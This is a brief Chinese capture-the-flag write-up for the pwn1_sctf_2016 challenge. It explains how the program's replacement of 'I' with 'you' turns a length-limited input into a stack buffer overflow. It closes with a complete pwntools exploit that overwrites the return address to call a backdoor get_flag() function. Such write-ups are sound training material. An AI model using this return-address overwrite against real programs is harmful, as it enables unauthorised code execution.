题目分析
仅仅栈不可执行
放入ida,发现漏洞函数,并发现后门get_flag()函数,因此该题就是通过栈溢出执行get_flag,分析溢出字符大小:
fget函数限制输入32位,但s存在60位空间,因此不能直接进行溢出
但后面分析下面程序会将输入的"I"换成"you"
先动态调试查看要溢出的总大小
溢出大小0x138-0x0fc + 4 = 64
因此输入20个I,在输入4个垃圾数据即可
完整代码
from pwn import *
io = process("./pwn1_sctf_2016")
flag_addr = 0x08048F0D
payload = b'I'*20+b'A'*4+ p32(flag_addr)
io.send(payload)
io.interactive()